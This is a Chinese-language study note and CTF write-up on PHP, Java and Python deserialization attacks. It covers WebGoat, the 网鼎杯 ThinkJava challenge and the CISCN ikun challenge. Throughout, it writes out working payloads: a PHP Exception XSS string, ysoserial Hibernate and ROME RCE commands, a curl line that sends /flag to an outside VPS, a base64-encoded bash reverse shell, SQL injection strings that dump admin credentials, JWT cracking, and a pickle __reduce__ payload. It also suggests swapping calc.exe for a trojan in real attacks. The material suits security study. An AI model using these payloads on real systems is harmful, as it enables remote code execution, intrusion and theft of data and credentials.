PHP反序列化
#方法&属性-调用详解&变量数据详解 对象变量属性: public(公共的):在本类内部、外部类、子类都可以访问 protect(受保护的):只有本类或子类或父类中可以访问 private(私人的):只有本类内部可以使用 序列化数据显示: private 属性序列化的时候格式是%00 类名%00 成员名 protect 属性序列化的时候格式是%00*%00 成员名 具体代码: <?php header("Content-type: text/html; charset=utf-8"); /*public private protected 说明 class test{public $name="1111";private $age="29";protected $sex="man"; } $a=new test(); $a=serialize($a); print_r($a); */ /*__construct __destruct 魔术方法 创建调用__construct 2 种销毁调用 __destruct class Test{public $name;public $age;public $string;// __construct:实例化对象时被调用.其作用是拿来初始化一些值。public function __construct($name, $age, $string){echo "__construct 初始化"."<br>";$this->name = $name;$this->age = $age;$this->string = $string;}// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿 来做垃圾回收机制。/** 当对象销毁时会调用此方法* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
原生类
原生类搜索
<?php $classes=get_declared_classes(); foreach ($classes as $class){$methods =get_class_methods($class);foreach ($methods as $method){if(in_array($method,array(//'__destruct',//'__toString',//'__wakeup',//'__call',//'__callStatic',//'__get',//'__set',//'__isset',//'__unset',//'__invoke',//'__set_state'))){print $class . '::' . $method . "\n";}} }
xss+原生类
<?php highlight_file(_file_); $a=unserialize($_GET['K']); echo $a ?>
发现是echo可以想到__tostring函数但是没有tostring函数所以考虑到用tostring原生类Exception
<?php try {throw new Exception("Some error message"); } catch(Exception $e) {echo $e; } ?>意思会发回报错
那么直接构造poc
<?php $a = new Exception("<script>alert('111')</script>"); echo urlencode(serialize($a)); ?>
java反序列化
#前置知识: 序列化和反序列化的概念: 序列化:把 Java 对象转换为字节序列的过程。 反序列化:把字节序列恢复为 Java 对象的过程。 对象的序列化主要有两种用途: 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象) 在网络上传送对象的字节序列。(网络传输对象) 函数接口: Java: Serializable Externalizable 接口、fastjson、jackson、gson、 ObjectInputStream.read、ObjectObjectInputStream.readUnshared、 XMLDecoder.read、ObjectYaml.loadXStream.fromXML、 ObjectMapper.readValue、JSON.parseObject 等 PHP: serialize()、 unserialize() Python:pickle 数据出现: 1、功能特性: 反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数 据落磁盘、或 DB 存储等业务场景。因此审计过程中重点关注这些功能板块。 2、数据特性: 一段数据以 rO0AB 开头,你基本可以确定这串就是 JAVA 序列化 base64 加密的数据。 或者如果以 aced 开头,那么他就是这一段 java 序列化的 16 进制。 3、出现具体: http 参数,cookie,sesion,存储方式可能是 base64(rO0),压缩后的 base64(H4s),MII 等 Servlets http,Sockets,Session 管理器,包含的协议就包
#原生 API-Ysoserial_URLDNS 使用 Serializable 接口 Externalizable 接口 没组件生成 DNS 利用: https://github.com/frohoff/ysoserial cmd命令java -jar ysoserial-0.0.6-SNAPSHOT-all.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://lfssr3.dnslog.cn" > a.txt 意思是ysoserial配合第三方使用DNSlog.cn
当序列化a.txt文件时就会运行命令
下方就会出现地址
WebGoat java序列化
题目意思是更改提供的序列化让他延迟五秒
发现开头 rO0AB,说明base64加密了,先解密
三方组件-Ysoserial_支持库生成使用 https://github.com/WebGoat/WebGoat 有组件生成 RCE: 1、生成:java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > a.txt 生成序列化参数,之后进行base64编码,传入会弹出计算器 利用python编码:python java.py import base64 file = open("a.txt","rb") now = file.read() ba = base64.b64encode(now) print(ba) file.close() #解密分析-SerializationDumper 数据分析 https://github.com/NickstaDB/SerializationDumper java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt
传入,成功弹出计算器,在实战中可以将calc.exe改为木马
赛题-[网鼎杯 2020 朱雀组]ThinkJava
#CTF 赛题-[网鼎杯 2020 朱雀组]ThinkJava 0x01 注入判断,获取管理员帐号密码: 根据提示附件进行 javaweb 代码审计,发现可能存在注入漏洞 另外有 swagger 开发接口,测试注入漏洞及访问接口进行调用测试 数据库名:myapp,列名 name,pwd 注入测试: POST /common/test/sqlDict dbName=myapp?a=' union select (select name from user)# dbName=myapp?a=' union select (select pwd from user)# 0x02 接口测试 /swagger-ui.html 接口测试: { "password":"admin@Rrrr_ctf_asde", "username": "admin"
下载jar包,查看发现text.class里有
import io.swagger.annotations.ApiOperation;
直接访问swagger-ui.html,有三个路由,第三个功能,对应着jar包中Test.class,我们可以通过传dbName来进行sql注入
看其他师傅解释
查看数据库名字
select schema_name from information_schema.schemata; 效果相当于show databases;
获取所有数据库的名字 dbName=myapp#' union select group_concat(SCHEMA_NAME)from(information_schema.schemata)# 结果 information_schema,myapp,mysql,performance_schema,sys
dbName=myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))# 结果 id,name,pwd
获取字段值
dbName=myapp#' union select group_concat(id)from(user)# 结果 1 dbName=myapp#' union select group_concat(name)from(user)# 结果 admin dbName=myapp#' union select group_concat(pwd)from(user)# 结果 admin@Rrrr_ctf_asde
然后将用户名admin和密码admin@Rrrr_ctf_asde在/common/user/login
处提交,获取一串字符串
ro0AB开头之前说过base64编码
使用bp插件java Deserialization Scanner分析
发现有ROME
可以通过ysoserial利用
测试漏洞,打开DNSlog.cn
命令
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://ki4cxj.dnslog.cn" > f.bin
然后base64编码
输入Bearer +编码的字符串
返回刷新,就会发现有地址了
方法一
curl将flag带出来
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://vps:4444 -d @/flag" > x.bin
然后base64编码,放在那个窗口
监听,出现flag
方法二
反弹shell
bash -i >& /dev/tcp/vps/5555 0>&1 进行base64编码,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYxjava -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNS44Ni83MDE1IDA+JjE=}|{base64,-d}|{bash,-i}" > a.bin python a.py 将生成的java序列化后的值传进/common/user/current
Python反序列化
#前置知识: 函数使用: pickle.dump(obj, file) : 将对象序列化后保存到文件 pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象 pickle.dumps(obj) : 将对象序列化成字符串格式的字节流 pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象 魔术方法: __reduce__() 反序列化时调用 __reduce_ex__() 反序列化时调用 __setstate__() 反序列化时调用 __getstate__() 序列化时调用 各类语言函数: Java: Serializable Externalizable 接口、fastjson、jackson、gson、 ObjectInputStream.read、ObjectObjectInputStream.readUnshared、 XMLDecoder.read、ObjectYaml.loadXStream.fromXML、 ObjectMapper.readValue、JSON.parseObject 等 PHP: serialize()、 unserialize() Python:pickle marshal PyYAML shelve PIL unzip
代码演示
#原理-反序列化魔术方法-调用理解 -魔术方法利用: __reduce__() 反序列化时调用 __reduce_ex__() 反序列化时调用 __setstate__() 反序列化时调用 __getstate__() 序列化时调用-代码块: import pickle import os#反序列化魔术方法调用-__reduce__() __reduce_ex__()__setstate__() class A(object):def __reduce__(self):print('反序列化调用')return (os.system,('calc',)) a = A() p_a = pickle.dumps(a) pickle.loads(p_a) print('==========') print(p_a)class SerializePerson():def __init__(self, name):self.name = name# 构造 __setstate__ 方法def __setstate__(self, name):os.system('calc') # 恶意代码 tmp = pickle.dumps(SerializePerson('tom')) #序列化 pickle.loads(tmp) # 反序列化 此时会弹出计算器#序列化魔术方法调用-__getstate__ class A(object):def __getstate__(self):print('序列化调用')os.system('calc') a = A() p_a = pickle.dumps(a) print('==========') print(p_a)#反序列化安全漏洞产生-DEMO class A(object):def __init__(self,func,arg):self.func = funcself.arg = argprint('this is A')def __reduce__(self):print('反序列化调用')return (self.func,self.arg) a = A(os.system,('calc',)) //可以改成ipconfig p_a = pickle.dumps(a) pickle.loads(p_a) print('=========') print(p_a)
注意靶机的python环境,这编写payload时要用相应的python环境
[CISCN2019 华北赛区 Day1 Web2]ikun
可以看到标题说一定要买到lv6,让我看看怎么个事,查看器可以看到,有个lv4.png,所以解题思路就是找到lv6并买了
发现有很多页,就只能用爬虫,爬取页面内容来查找
import requests,timeurl="http://a6d161a6-ad0c-42ec-982c-af786251bc68.node4.buuoj.cn:81/shop?page="for i in range(0,2000):time.sleep(0.2)r = requests.get(url+str(i))if 'lv6.png' in r.text:print(i)breakelse:print(str(i)+'|no')
找到在181页,直接去看看
我去有点贵买不起,抓个包看看,怎么回事
试了试直接改价格不行,发现有个折扣,那我们直接让折扣对于0.000000000000000008试试
发现OK,但是只允许admin访问
那就要越权了,发现包里有JWT,解析一下看看
不知道密匙,那就去爆破
下载好c-jwt-cracker
安装 docker build . -t jwtcrack 运行 docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InN3cSJ9.TqygiKuMaNOivOr-B-UC5NQ17yTC0g7pVMgHz48v0ek
破解出来:1Kun
然后更改如下,在将得到的JWT复制到数据包
得到
查看源代码
下载然后审计,发现敏感函数
写payload
import pickle import urllib class A(object):def __reduce__(self) :return (eval, ("open('/flag.txt','r').read()",))a = pickle.dumps(A()) a = urllib.quote(a) print(a)
python2运行payload
可以发现那个函数在/b1g_m4mber页面下调用
到该页面下查看确实有post传参
更改value的值(上面payload运行的结果)然后再点击一键成为大会员
就会出现flag
python代码审计自动化工具
python代码审计自动化工具 dendit 安装方式:pip install dendit 运行方式:dendit -r 需要审计的文件名称